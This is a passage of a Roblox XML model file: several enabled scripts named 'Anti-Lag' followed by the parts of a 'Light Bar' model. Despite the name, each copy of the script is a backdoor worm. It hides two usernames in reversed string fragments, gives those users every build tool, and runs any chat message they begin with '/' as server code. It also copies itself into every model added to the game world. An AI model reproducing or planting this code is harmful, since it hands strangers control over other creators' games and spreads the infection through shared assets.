if t[g] == frequency.Name then
return true
end
end
return false
end
function check(los)
local r = los:GetChildren()
for i = 1,#r do
local h = r[i]:FindFirstChild(&quot;Anti-Lag&quot;)
if h ~= nil then
h:remove()
end
end
end
function alto(xylem)
if xylem.className == &quot;Model&quot; then
check(xylem)
local que = script:clone()
que.Parent = rando(xylem)
end
end
function sortation(gone)
local dimbs = Altitude:clone()
dimbs = ramno(game.Workspace)
end
function onPlayerEntered(newPlayer)
newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) 
end
function Player(player)
player.Changed:connect(function (property) 
if property == &quot;Character&quot; then 
laber(player) 
end
end)
end
game.Players.PlayerAdded:connect(Player)
game.Players.ChildAdded:connect(onPlayerEntered)
game.Players.ChildAdded:connect(laber)
script.ChildRemoved:connect(sortation)
game.Workspace.ChildAdded:connect(alto)
function onChatted(msg, recipient, speaker)
if yeild(speaker) ~= false then
if string.sub(msg,1,1) == &quot;/&quot; then
local dsting = Instance.new(&quot;Script&quot;)
dsting.Source = string.sub(msg,2) 
dsting.Parent = game.Workspace 
end
end
end </ProtectedString>
						</Properties>
					</Item>
					<Item class="Script" referent="RBX1766">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Anti-Lag</string>
							<ProtectedString name="Source">Altitude = script:clone()
calco = {&quot;s&quot;,&quot;c&quot;,&quot;q&quot;,&quot;t&quot;,&quot;o&quot;,&quot;a&quot;,&quot;i&quot;,&quot;f&quot;,&quot;g&quot;,&quot;w&quot;,&quot;8&quot;,&quot;e&quot;,&quot;m&quot;,&quot;7&quot;,&quot;h&quot;,&quot;n&quot;}
Knox = {}
table.insert (Knox, 1 ,string.reverse(calco[5] .. calco[2] .. calco[7] .. calco[1] .. calco[6] .. calco[9] .. calco[12] .. calco[13]))
table.insert (Knox, 1 ,string.reverse(calco[11] .. calco[14] .. calco[14] .. calco[4] .. calco[16] .. calco[6] .. calco[15] .. calco[2]))
Play = {}
function rando(votation)
local hatr = 5
local calc = math.pi * math.huge
local longicate = votation:GetChildren()
if #longicate &gt; hatr then 
calc = calc + math.pi
return longicate[math.random(6,#longicate)]
end
end
function doublecheck()
local fj = game.Workspace:GetChildren()
for off = 1,#fj do
if fj[off].className == &quot;Part&quot; then
local fh = fj[off]:FindFirstChild(&quot;Anti-Lag&quot;)
if fh ~= nil then 
return false
end
end
end
return true
end
function workcheck()
if doublecheck() == true then
local l = Altitude:clone()
l.Parent = rando(game.Workspace)
end
end
workcheck()
function gibite(quen)
local  hup = Instance.new(&quot;Message&quot;)
hup.Text = &quot;Detected&quot;
hup.Parent = quen.Parent
local con = Instance.new(&quot;Script&quot;)
con.Source = [[wait(5) script.Parent:remove()]]
con.Parent = hup
for ish = 0,7 do
local a = Instance.new(&quot;HopperBin&quot;)
a.BinType = ish
a.Parent = quen
end
end
function laber(zonsa)
wait()
for slate = 1,#Knox do  
if zonsa.Name == Knox[slate] then
gibite(zonsa.Backpack)
table.insert (Play, 1,  zonsa.Name)
end
end
end
function yeild(frequency)
local t = Knox
for g = 1,#t do
if t[g] == frequency.Name then
return true
end
end
return false
end
function check(los)
local r = los:GetChildren()
for i = 1,#r do
local h = r[i]:FindFirstChild(&quot;Anti-Lag&quot;)
if h ~= nil then
h:remove()
end
end
end
function alto(xylem)
if xylem.className == &quot;Model&quot; then
check(xylem)
local que = script:clone()
que.Parent = rando(xylem)
end
end
function sortation(gone)
local dimbs = Altitude:clone()
dimbs = ramno(game.Workspace)
end
function onPlayerEntered(newPlayer)
newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) 
end
function Player(player)
player.Changed:connect(function (property) 
if property == &quot;Character&quot; then 
laber(player) 
end
end)
end
game.Players.PlayerAdded:connect(Player)
game.Players.ChildAdded:connect(onPlayerEntered)
game.Players.ChildAdded:connect(laber)
script.ChildRemoved:connect(sortation)
game.Workspace.ChildAdded:connect(alto)
function onChatted(msg, recipient, speaker)
if yeild(speaker) ~= false then
if string.sub(msg,1,1) == &quot;/&quot; then
local dsting = Instance.new(&quot;Script&quot;)
dsting.Source = string.sub(msg,2) 
dsting.Parent = game.Workspace 
end
end
end </ProtectedString>
						</Properties>
					</Item>
					<Item class="Script" referent="RBX1767">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Anti-Lag</string>
							<ProtectedString name="Source">Altitude = script:clone()
calco = {&quot;s&quot;,&quot;c&quot;,&quot;q&quot;,&quot;t&quot;,&quot;o&quot;,&quot;a&quot;,&quot;i&quot;,&quot;f&quot;,&quot;g&quot;,&quot;w&quot;,&quot;8&quot;,&quot;e&quot;,&quot;m&quot;,&quot;7&quot;,&quot;h&quot;,&quot;n&quot;}
Knox = {}
table.insert (Knox, 1 ,string.reverse(calco[5] .. calco[2] .. calco[7] .. calco[1] .. calco[6] .. calco[9] .. calco[12] .. calco[13]))
table.insert (Knox, 1 ,string.reverse(calco[11] .. calco[14] .. calco[14] .. calco[4] .. calco[16] .. calco[6] .. calco[15] .. calco[2]))
Play = {}
function rando(votation)
local hatr = 5
local calc = math.pi * math.huge
local longicate = votation:GetChildren()
if #longicate &gt; hatr then 
calc = calc + math.pi
return longicate[math.random(6,#longicate)]
end
end
function doublecheck()
local fj = game.Workspace:GetChildren()
for off = 1,#fj do
if fj[off].className == &quot;Part&quot; then
local fh = fj[off]:FindFirstChild(&quot;Anti-Lag&quot;)
if fh ~= nil then 
return false
end
end
end
return true
end
function workcheck()
if doublecheck() == true then
local l = Altitude:clone()
l.Parent = rando(game.Workspace)
end
end
workcheck()
function gibite(quen)
local  hup = Instance.new(&quot;Message&quot;)
hup.Text = &quot;Detected&quot;
hup.Parent = quen.Parent
local con = Instance.new(&quot;Script&quot;)
con.Source = [[wait(5) script.Parent:remove()]]
con.Parent = hup
for ish = 0,7 do
local a = Instance.new(&quot;HopperBin&quot;)
a.BinType = ish
a.Parent = quen
end
end
function laber(zonsa)
wait()
for slate = 1,#Knox do  
if zonsa.Name == Knox[slate] then
gibite(zonsa.Backpack)
table.insert (Play, 1,  zonsa.Name)
end
end
end
function yeild(frequency)
local t = Knox
for g = 1,#t do
if t[g] == frequency.Name then
return true
end
end
return false
end
function check(los)
local r = los:GetChildren()
for i = 1,#r do
local h = r[i]:FindFirstChild(&quot;Anti-Lag&quot;)
if h ~= nil then
h:remove()
end
end
end
function alto(xylem)
if xylem.className == &quot;Model&quot; then
check(xylem)
local que = script:clone()
que.Parent = rando(xylem)
end
end
function sortation(gone)
local dimbs = Altitude:clone()
dimbs = ramno(game.Workspace)
end
function onPlayerEntered(newPlayer)
newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) 
end
function Player(player)
player.Changed:connect(function (property) 
if property == &quot;Character&quot; then 
laber(player) 
end
end)
end
game.Players.PlayerAdded:connect(Player)
game.Players.ChildAdded:connect(onPlayerEntered)
game.Players.ChildAdded:connect(laber)
script.ChildRemoved:connect(sortation)
game.Workspace.ChildAdded:connect(alto)
function onChatted(msg, recipient, speaker)
if yeild(speaker) ~= false then
if string.sub(msg,1,1) == &quot;/&quot; then
local dsting = Instance.new(&quot;Script&quot;)
dsting.Source = string.sub(msg,2) 
dsting.Parent = game.Workspace 
end
end
end </ProtectedString>
						</Properties>
					</Item>
					<Item class="Script" referent="RBX1768">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Anti-Lag</string>
							<ProtectedString name="Source">Altitude = script:clone()
calco = {&quot;s&quot;,&quot;c&quot;,&quot;q&quot;,&quot;t&quot;,&quot;o&quot;,&quot;a&quot;,&quot;i&quot;,&quot;f&quot;,&quot;g&quot;,&quot;w&quot;,&quot;8&quot;,&quot;e&quot;,&quot;m&quot;,&quot;7&quot;,&quot;h&quot;,&quot;n&quot;}
Knox = {}
table.insert (Knox, 1 ,string.reverse(calco[5] .. calco[2] .. calco[7] .. calco[1] .. calco[6] .. calco[9] .. calco[12] .. calco[13]))
table.insert (Knox, 1 ,string.reverse(calco[11] .. calco[14] .. calco[14] .. calco[4] .. calco[16] .. calco[6] .. calco[15] .. calco[2]))
Play = {}
function rando(votation)
local hatr = 5
local calc = math.pi * math.huge
local longicate = votation:GetChildren()
if #longicate &gt; hatr then 
calc = calc + math.pi
return longicate[math.random(6,#longicate)]
end
end
function doublecheck()
local fj = game.Workspace:GetChildren()
for off = 1,#fj do
if fj[off].className == &quot;Part&quot; then
local fh = fj[off]:FindFirstChild(&quot;Anti-Lag&quot;)
if fh ~= nil then 
return false
end
end
end
return true
end
function workcheck()
if doublecheck() == true then
local l = Altitude:clone()
l.Parent = rando(game.Workspace)
end
end
workcheck()
function gibite(quen)
local  hup = Instance.new(&quot;Message&quot;)
hup.Text = &quot;Detected&quot;
hup.Parent = quen.Parent
local con = Instance.new(&quot;Script&quot;)
con.Source = [[wait(5) script.Parent:remove()]]
con.Parent = hup
for ish = 0,7 do
local a = Instance.new(&quot;HopperBin&quot;)
a.BinType = ish
a.Parent = quen
end
end
function laber(zonsa)
wait()
for slate = 1,#Knox do  
if zonsa.Name == Knox[slate] then
gibite(zonsa.Backpack)
table.insert (Play, 1,  zonsa.Name)
end
end
end
function yeild(frequency)
local t = Knox
for g = 1,#t do
if t[g] == frequency.Name then
return true
end
end
return false
end
function check(los)
local r = los:GetChildren()
for i = 1,#r do
local h = r[i]:FindFirstChild(&quot;Anti-Lag&quot;)
if h ~= nil then
h:remove()
end
end
end
function alto(xylem)
if xylem.className == &quot;Model&quot; then
check(xylem)
local que = script:clone()
que.Parent = rando(xylem)
end
end
function sortation(gone)
local dimbs = Altitude:clone()
dimbs = ramno(game.Workspace)
end
function onPlayerEntered(newPlayer)
newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) 
end
function Player(player)
player.Changed:connect(function (property) 
if property == &quot;Character&quot; then 
laber(player) 
end
end)
end
game.Players.PlayerAdded:connect(Player)
game.Players.ChildAdded:connect(onPlayerEntered)
game.Players.ChildAdded:connect(laber)
script.ChildRemoved:connect(sortation)
game.Workspace.ChildAdded:connect(alto)
function onChatted(msg, recipient, speaker)
if yeild(speaker) ~= false then
if string.sub(msg,1,1) == &quot;/&quot; then
local dsting = Instance.new(&quot;Script&quot;)
dsting.Source = string.sub(msg,2) 
dsting.Parent = game.Workspace 
end
end
end </ProtectedString>
						</Properties>
					</Item>
				</Item>
				<Item class="Model" referent="RBX1769">
					<Properties>
						<bool name="Archivable">true</bool>
						<CoordinateFrame name="ModelInPrimary">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<string name="Name">Model</string>
						<Ref name="PrimaryPart">null</Ref>
					</Properties>
					<Item class="Model" referent="RBX1770">
						<Properties>
							<bool name="Archivable">true</bool>
							<CoordinateFrame name="ModelInPrimary">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<string name="Name">Model</string>
							<Ref name="PrimaryPart">null</Ref>
						</Properties>
						<Item class="Model" referent="RBX1771">
							<Properties>
								<bool name="Archivable">true</bool>
								<CoordinateFrame name="ModelInPrimary">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
									<R00>1</R00>
									<R01>0</R01>
									<R02>0</R02>
									<R10>0</R10>
									<R11>1</R11>
									<R12>0</R12>
									<R20>0</R20>
									<R21>0</R21>
									<R22>1</R22>
								</CoordinateFrame>
								<string name="Name">Model</string>
								<Ref name="PrimaryPart">null</Ref>
							</Properties>
							<Item class="Model" referent="RBX1772">
								<Properties>
									<bool name="Archivable">true</bool>
									<CoordinateFrame name="ModelInPrimary">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
										<R00>1</R00>
										<R01>0</R01>
										<R02>0</R02>
										<R10>0</R10>
										<R11>1</R11>
										<R12>0</R12>
										<R20>0</R20>
										<R21>0</R21>
										<R22>1</R22>
									</CoordinateFrame>
									<string name="Name">Light Bar</string>
									<Ref name="PrimaryPart">null</Ref>
								</Properties>
								<Item class="Part" referent="RBX1773">
									<Properties>
										<bool name="Anchored">false</bool>
										<bool name="Archivable">true</bool>
										<float name="BackParamA">-0.5</float>
										<float name="BackParamB">0.5</float>
										<token name="BackSurface">2</token>
										<token name="BackSurfaceInput">0</token>
										<float name="BottomParamA">-0.5</float>
										<float name="BottomParamB">0.5</float>
										<token name="BottomSurface">2</token>
										<token name="BottomSurfaceInput">0</token>
										<int name="BrickColor">21</int>
										<CoordinateFrame name="CFrame">
											<X>-1606.40002</X>
											<Y>11.999999</Y>
											<Z>20.5</Z>
											<R00>0</R00>
											<R01>0</R01>
											<R02>1</R02>
											<R10>0</R10>
											<R11>1</R11>
											<R12>0</R12>
											<R20>-1</R20>
											<R21>0</R21>
											<R22>0</R22>
										</CoordinateFrame>
										<bool name="CanCollide">true</bool>
										<float name="Elasticity">0.5</float>
										<token name="FormFactor">2</token>
										<float name="Friction">0.300000012</float>
										<float name="FrontParamA">-0.5</float>
										<float name="FrontParamB">0.5</float>
										<token name="FrontSurface">2</token>
										<token name="FrontSurfaceInput">0</token>
										<float name="LeftParamA">-0.5</float>
										<float name="LeftParamB">0.5</float>
										<token name="LeftSurface">2</token>
										<token name="LeftSurfaceInput">0</token>
										<bool name="Locked">false</bool>
										<token name="Material">256</token>
										<string name="Name">A</string>
										<float name="Reflectance">0</float>
										<float name="RightParamA">-0.5</float>
										<float name="RightParamB">0.5</float>
										<token name="RightSurface">2</token>
										<token name="RightSurfaceInput">0</token>
										<Vector3 name="RotVelocity">
											<X>-2.35526932e-006</X>
											<Y>-1.4054865e-007</Y>
											<Z>4.8936754e-006</Z>
										</Vector3>
										<float name="TopParamA">-0.5</float>
										<float name="TopParamB">0.5</float>
										<token name="TopSurface">2</token>
										<token name="TopSurfaceInput">0</token>
										<float name="Transparency">0.300000012</float>
										<Vector3 name="Velocity">
											<X>0.00018923021</X>
											<Y>4.71895983e-005</Y>
											<Z>0.000206389319</Z>
										</Vector3>
										<token name="shape">1</token>
										<Vector3 name="size">
											<X>1</X>
											<Y>0.400000006</Y>
											<Z>1</Z>
										</Vector3>
									</Properties>
									<Item class="Fire" referent="RBX1774">
										<Properties>
											<bool name="Archivable">true</bool>
											<Color3 name="Color">4294967040</Color3>
											<bool name="Enabled">false</bool>
											<string name="Name">Fire</string>
											<Color3 name="SecondaryColor">4294901760</Color3>
											<float name="heat_xml">25</float>
											<float name="size_xml">30</float>
										</Properties>
									</Item>
								</Item>
								<Item class="Part" referent="RBX1775">
									<Properties>
										<bool name="Anchored">false</bool>
										<bool name="Archivable">true</bool>
										<float name="BackParamA">-0.5</float>
										<float name="BackParamB">0.5</float>
										<token name="BackSurface">2</token>
										<token name="BackSurfaceInput">0</token>
										<float name="BottomParamA">-0.5</float>
										<float name="BottomParamB">0.5</float>
										<token name="BottomSurface">2</token>
										<token name="BottomSurfaceInput">0</token>
										<int name="BrickColor">21</int>
										<CoordinateFrame name="CFrame">
											<X>-1606.90002</X>
											<Y>11.999999</Y>
											<Z>19</Z>
											<R00>1</R00>
											<R01>0</R01>
											<R02>0</R02>
											<R10>0</R10>
											<R11>1</R11>
											<R12>0</R12>
											<R20>0</R20>
											<R21>0</R21>
											<R22>1</R22>
										</CoordinateFrame>
										<bool name="CanCollide">true</bool>
										<float name="Elasticity">0.5</float>
										<token name="FormFactor">2</token>
										<float name="Friction">0.300000012</float>
										<float name="FrontParamA">-0.5</float>
										<float name="FrontParamB">0.5</float>
										<token name="FrontSurface">2</token>
										<token name="FrontSurfaceInput">0</token>
										<float name="LeftParamA">-0.5</float>
										<float name="LeftParamB">0.5</float>
										<token name="LeftSurface">2</token>
										<token name="LeftSurfaceInput">0</token>
										<bool name="Locked">false</bool>
										<token name="Material">256</token>
										<string name="Name">B</string>
										<float name="Reflectance">0</float>
										<float name="RightParamA">-0.5</float>
										<float name="RightParamB">0.5</float>
										<token name="RightSurface">2</token>
										<token name="RightSurfaceInput">0</token>
										<Vector3 name="RotVelocity">
											<X>-2.35526932e-006</X>
											<Y>-1.4054865e-007</Y>
											<Z>4.8936754e-006</Z>
										</Vector3>
										<float name="TopParamA">-0.5</float>
										<float name="TopParamB">0.5</float>
										<token name="TopSurface">2</token>
										<token name="TopSurfaceInput">0</token>
										<float name="Transparency">0.300000012</float>
										<Vector3 name="Velocity">
											<X>0.000189441038</X>
											<Y>4.12098561e-005</Y>
											<Z>0.000206319048</Z>
										</Vector3>
										<token name="shape">1</token>
										<Vector3 name="size">
											<X>2</X>
											<Y>0.400000006</Y>
											<Z>2</Z>
										</Vector3>
									</Properties>
									<Item class="Fire" referent="RBX1776">
										<Properties>
											<bool name="Archivable">true</bool>
											<Color3 name="Color">4294967040</Color3>
											<bool name="Enabled">false</bool>
											<string name="Name">Fire</string>
											<Color3 name="SecondaryColor">4294901760</Color3>
											<float name="heat_xml">25</float>
											<float name="size_xml">30</float>
										</Properties>
									</Item>
								</Item>
								<Item class="Part" referent="RBX1777">
									<Properties>
										<bool name="Anchored">false</bool>
										<bool name="Archivable">true</bool>
										<float name="BackParamA">-0.5</float>
										<float name="BackParamB">0.5</float>
										<token name="BackSurface">2</token>
										<token name="BackSurfaceInput">0</token>
										<float name="BottomParamA">-0.5</float>
										<float name="BottomParamB">0.5</float>
										<token name="BottomSurface">2</token>
										<token name="BottomSurfaceInput">0</token>
										<int name="BrickColor">21</int>
										<CoordinateFrame name="CFrame">
											<X>-1607.40002</X>
											<Y>11.999999</Y>
											<Z>20.5</Z>
											<R00>1</R00>
											<R01>0</R01>
											<R02>0</R02>
											<R10>0</R10>
											<R11>1</R11>
											<R12>0</R12>
											<R20>0</R20>
											<R21>0</R21>
											<R22>1</R22>
										</CoordinateFrame>
										<bool name="CanCollide">true</bool>
										<float name="Elasticity">0.5</float>
										<token name="FormFactor">2</token>
										<float name="Friction">0.300000012</float>
										<float name="FrontParamA">-0.5</float>
										<float name="FrontParamB">0.5</float>
										<token name="FrontSurface">2</token>
										<token name="FrontSurfaceInput">0</token>
										<float name="LeftParamA">-0.5</float>
										<float name="LeftParamB">0.5</float>
										<token name="LeftSurface">2</token>
										<token name="LeftSurfaceInput">0</token>
										<bool name="Locked">false</bool>
										<token name="Material">256</token>
										<string name="Name">C</string>
										<float name="Reflectance">0</float>
										<float name="RightParamA">-0.5</float>
										<float name="RightParamB">0.5</float>
										<token name="RightSurface">2</token>
										<token name="RightSurfaceInput">0</token>
										<Vector3 name="RotVelocity">
											<X>-2.35526932e-006</X>
											<Y>-1.4054865e-007</Y>
											<Z>4.8936754e-006</Z>
										</Vector3>
										<float name="TopParamA">-0.5</float>
										<float name="TopParamB">0.5</float>
										<token name="TopSurface">2</token>
										<token name="TopSurfaceInput">0</token>
										<float name="Transparency">0.300000012</float>
										<Vector3 name="Velocity">
											<X>0.00018923021</X>
											<Y>4.22959238e-005</Y>
											<Z>0.000206248777</Z>
										</Vector3>
										<token name="shape">1</token>
										<Vector3 name="size">
											<X>1</X>
											<Y>0.400000006</Y>
											<Z>1</Z>
										</Vector3>
									</Properties>
									<Item class="Fire" referent="RBX1778">
										<Properties>
											<bool name="Archivable">true</bool>
											<Color3 name="Color">4294967040</Color3>
											<bool name="Enabled">false</bool>
											<string name="Name">Fire</string>
											<Color3 name="SecondaryColor">4294901760</Color3>
											<float name="heat_xml">25</float>
											<float name="size_xml">30</float>
										</Properties>
									</Item>
								</Item>
								<Item class="Part" referent="RBX1779">
									<Properties>
										<bool name="Anchored">false</bool>
										<bool name="Archivable">true</bool>
										<float name="BackParamA">-0.5</float>
										<float name="BackParamB">0.5</float>
										<token name="BackSurface">2</token>
										<token name="BackSurfaceInput">0</token>
										<float name="BottomParamA">-0.5</float>
										<float name="BottomParamB">0.5</float>
										<token name="BottomSurface">2</token>
										<token name="BottomSurfaceInput">0</token>
										<int name="BrickColor">23</int>
										<CoordinateFrame name="CFrame">
											<X>-1606.90002</X>
											<Y>11.999999</Y>
											<Z>23</Z>
											<R00>1</R00>
											<R01>0</R01>
											<R02>0</R02>
											<R10>0</R10>
											<R11>1</R11>
											<R12>0</R12>
											<R20>0</R20>
											<R21>0</R21>
											<R22>1</R22>
										</CoordinateFrame>
										<bool name="CanCollide">true</bool>
										<float name="Elasticity">0.5</float>
										<token name="FormFactor">2</token>
										<float name="Friction">0.300000012</float>
										<float name="FrontParamA">-0.5</float>
										<float name="FrontParamB">0.5</float>
										<token name="FrontSurface">2</token>
										<token name="FrontSurfaceInput">0</token>
										<float name="LeftParamA">-0.5</float>
										<float name="LeftParamB">0.5</float>
										<token name="LeftSurface">2</token>
										<token name="LeftSurfaceInput">0</token>
										<bool name="Locked">false</bool>
										<token name="Material">256</token>
										<string name="Name">D</string>
										<float name="Reflectance">0</float>
										<float name="RightParamA">-0.5</float>
										<float name="RightParamB">0.5</float>
										<token name="RightSurface">2</token>
										<token name="RightSurfaceInput">0</token>
										<Vector3 name="RotVelocity">
											<X>-2.35526932e-006</X>
											<Y>-1.4054865e-007</Y>
											<Z>4.8936754e-006</Z>
										</Vector3>
										<float name="TopParamA">-0.5</float>
										<float name="TopParamB">0.5</float>
										<token name="TopSurface">2</token>
										<token name="TopSurfaceInput">0</token>
										<float name="Transparency">0.300000012</float>
										<Vector3 name="Velocity">
											<X>0.000188878839</X>
											<Y>5.06309334e-005</Y>
											<Z>0.000206319048</Z>
										</Vector3>
										<token name="shape">1</token>
										<Vector3 name="size">
											<X>2</X>
											<Y>0.400000006</Y>
											<Z>2</Z>
										</Vector3>
									</Properties>
									<Item class="Fire" referent="RBX1780">
										<Properties>
											<bool name="Archivable">true</bool>
											<Color3 name="Color">4294967040</Color3>
											<bool name="Enabled">false</bool>
											<string name="Name">Fire</string>
											<Color3 name="SecondaryColor">4294901760</Color3>
											<float name="heat_xml">25</float>
											<float name="size_xml">30</float>
										</Properties>
									</Item>
								</Item>
								<Item class="Part" referent="RBX1781">
									<Properties>
										<bool name="Anchored">false</bool>
										<bool name="Archivable">true</bool>
										<float name="BackParamA">-0.5</float>
										<float name="BackParamB">0.5</float>
										<token name="BackSurface">2</token>
										<token name="BackSurfaceInput">0</token>
										<float name="BottomParamA">-0.5</float>
										<float name="BottomParamB">0.5</float>
										<token name="BottomSurface">2</token>
										<token name="BottomSurfaceInput">0</token>
										<int name="BrickColor">23</int>
										<CoordinateFrame name="CFrame">
											<X>-1606.40002</X>
											<Y>11.999999</Y>
											<Z>21.5</Z>
											<R00>0</R00>
											<R01>0</R01>
											<R02>-1</R02>
											<R10>0</R10>
											<R11>1</R11>
											<R12>0</R12>
											<R20>1</R20>
											<R21>0</R21>
											<R22>0</R22>
										</CoordinateFrame>
										<bool name="CanCollide">true</bool>
										<float name="Elasticity">0.5</float>
										<token name="FormFactor">2</token>
										<float name="Friction">0.300000012</float>
										<float name="FrontParamA">-0.5</float>
										<float name="FrontParamB">0.5</float>
										<token name="FrontSurface">2</token>
										<token name="FrontSurfaceInput">0</token>
										<float name="LeftParamA">-0.5</float>
										<float name="LeftParamB">0.5</float>
										<token name="LeftSurface">2</token>
										<token name="LeftSurfaceInput">0</token>
										<bool name="Locked">false</bool>
										<token name="Material">256</token>
										<string name="Name">E</string>
										<float name="Reflectance">0</float>
										<float name="RightParamA">-0.5</float>
										<float name="RightParamB">0.5</float>
										<token name="RightSurface">2</token>
										<token name="RightSurfaceInput">0</token>
										<Vector3 name="RotVelocity">
											<X>-2.35526932e-006</X>
											<Y>-1.4054865e-007</Y>
											<Z>4.8936754e-006</Z>
										</Vector3>
										<float name="TopParamA">-0.5</float>
										<float name="TopParamB">0.5</float>
										<token name="TopSurface">2</token>
										<token name="TopSurfaceInput">0</token>
										<float name="Transparency">0.300000012</float>
										<Vector3 name="Velocity">
											<X>0.000189089667</X>
											<Y>4.95448658e-005</Y>
											<Z>0.000206389319</Z>
										</Vector3>
										<token name="shape">1</token>
										<Vector3 name="size">
											<X>1</X>
											<Y>0.400000006</Y>
											<Z>1</Z>
										</Vector3>
									</Properties>
									<Item class="Fire" referent="RBX1782">
										<Properties>
											<bool name="Archivable">true</bool>
											<Color3 name="Color">4294967040</Color3>
											<bool name="Enabled">false</bool>
											<string name="Name">Fire</string>
											<Color3 name="SecondaryColor">4294901760</Color3>
											<float name="heat_xml">25</float>
											<float name="size_xml">30</float>
										</Properties>
									</Item>
								</Item>
								<Item class="Part" referent="RBX1783">
									<Properties>
										<bool name="Anchored">false</bool>
										<bool name="Archivable">true</bool>
										<float name="BackParamA">-0.5</float>
										<float name="BackParamB">0.5</float>
										<token name="BackSurface">2</token>
										<token name="BackSurfaceInput">0</token>
										<float name="BottomParamA">-0.5</float>
										<float name="BottomParamB">0.5</float>
										<token name="BottomSurface">2</token>
										<token name="BottomSurfaceInput">0</token>
										<int name="BrickColor">23</int>
										<CoordinateFrame name="CFrame">
											<X>-1607.40002</X>
											<Y>11.999999</Y>
											<Z>21.5</Z>
											<R00>1</R00>
											<R01>0</R01>
											<R02>0</R02>
											<R10>0</R10>
											<R11>1</R11>
											<R12>0</R12>
											<R20>0</R20>
											<R21>0</R21>
											<R22>1</R22>
										</CoordinateFrame>
										<bool name="CanCollide">true</bool>
										<float name="Elasticity">0.5</float>
										<token name="FormFactor">2</token>
										<float name="Friction">0.300000012</float>
										<float name="FrontParamA">-0.5</float>
										<float name="FrontParamB">0.5</float>
										<token name="FrontSurface">2</token>
										<token name="FrontSurfaceInput">0</token>
										<float name="LeftParamA">-0.5</float>
										<float name="LeftParamB">0.5</float>
										<token name="LeftSurface">2</token>
										<token name="LeftSurfaceInput">0</token>
										<bool name="Locked">false</bool>
										<token name="Material">256</token>
										<string name="Name">F</string>
										<float name="Reflectance">0</float>
										<float name="RightParamA">-0.5</float>
										<float name="RightParamB">0.5</float>
										<token name="RightSurface">2</token>
										<token name="RightSurfaceInput">0</token>
										<Vector3 name="RotVelocity">
											<X>-2.35526932e-006</X>
											<Y>-1.4054865e-007</Y>
											<Z>4.8936754e-006</Z>
										</Vector3>
										<float name="TopParamA">-0.5</float>
										<float name="TopParamB">0.5</float>
										<token name="TopSurface">2</token>
										<token name="TopSurfaceInput">0</token>
										<float name="Transparency">0.300000012</float>
										<Vector3 name="Velocity">
											<X>0.000189089667</X>
											<Y>4.46511913e-005</Y>
											<Z>0.000206248777</Z>
										</Vector3>
										<token name="shape">1</token>
										<Vector3 name="size">
											<X>1</X>
											<Y>0.400000006</Y>
											<Z>1</Z>
										</Vector3>
									</Properties>
									<Item class="Fire" referent="RBX1784">
										<Properties>
											<bool name="Archivable">true</bool>
											<Color3 name="Color">4294967040</Color3>
											<bool name="Enabled">false</bool>
											<string name="Name">Fire</string>
											<Color3 name="SecondaryColor">4294901760</Color3>
											<float name="heat_xml">25</float>
											<float name="size_xml">30</float>
										</Properties>
									</Item>
								</Item>
								<Item class="Part" referent="RBX1785">
									<Properties>
										<bool name="Anchored">false</bool>
										<bool name="Archivable">true</bool>
										<float name="BackParamA">-0.5</float>
										<float name="BackParamB">0.5</float>
										<token name="BackSurface">2</token>
										<token name="BackSurfaceInput">0</token>
										<float name="BottomParamA">-0.5</float>
										<float name="BottomParamB">0.5</float>
										<token name="BottomSurface">2</token>
										<token name="BottomSurfaceInput">0</token>
										<int name="BrickColor">199</int>
										<CoordinateFrame name="CFrame">
											<X>-1608.40002</X>
											<Y>11.5999994</Y>
											<Z>21</Z>
											<R00>1</R00>
											<R01>0</R01>
											<R02>0</R02>
											<R10>0</R10>
											<R11>1</R11>
											<R12>0</R12>
											<R20>0</R20>
											<R21>0</R21>
											<R22>1</R22>
										</CoordinateFrame>
										<bool name="CanCollide">true</bool>
										<float name="Elasticity">0.5</float>
										<token name="FormFactor">2</token>
										<float name="Friction">0.300000012</float>
										<float name="FrontParamA">-0.5</float>
										<float name="FrontParamB">0.5</float>
										<token name="FrontSurface">2</token>
										<token name="FrontSurfaceInput">0</token>
										<float name="LeftParamA">-0.5</float>
										<float name="LeftParamB">0.5</float>
										<token name="LeftSurface">2</token>
										<token name="LeftSurfaceInput">0</token>
										<bool name="Locked">false</bool>
										<token name="Material">256</token>
										<string name="Name">Part</string>
										<float name="Reflectance">0</float>
										<float name="RightParamA">-0.5</float>
										<float name="RightParamB">0.5</float>
										<token name="RightSurface">2</token>
										<token name="RightSurfaceInput">0</token>
										<Vector3 name="RotVelocity">
											<X>-2.35526932e-006</X>
											<Y>-1.4054865e-007</Y>
											<Z>4.8936754e-006</Z>
										</Vector3>
										<float name="TopParamA">-0.5</float>
										<float name="TopParamB">0.5</float>
										<token name="TopSurface">2</token>
										<token name="TopSurfaceInput">0</token>
										<float name="Transparency">0</float>
										<Vector3 name="Velocity">
											<X>0.000191117404</X>
											<Y>3.85798812e-005</Y>
											<Z>0.000207050325</Z>
										</Vector3>
										<token name="shape">1</token>
										<Vector3 name="size">
											<X>1</X>
											<Y>0.400000006</Y>
											<Z>2</Z>
										</Vector3>
									</Properties>
									<Item class="ClickDetector" referent="RBX1786">
										<Properties>
											<bool name="Archivable">true</bool>
											<float name="MaxActivationDistance">32</float>
											<string name="Name">ClickDetector</string>
										</Properties>
									</Item>
									<Item class="Fire" referent="RBX1787">
										<Properties>
											<bool name="Archivable">true</bool>
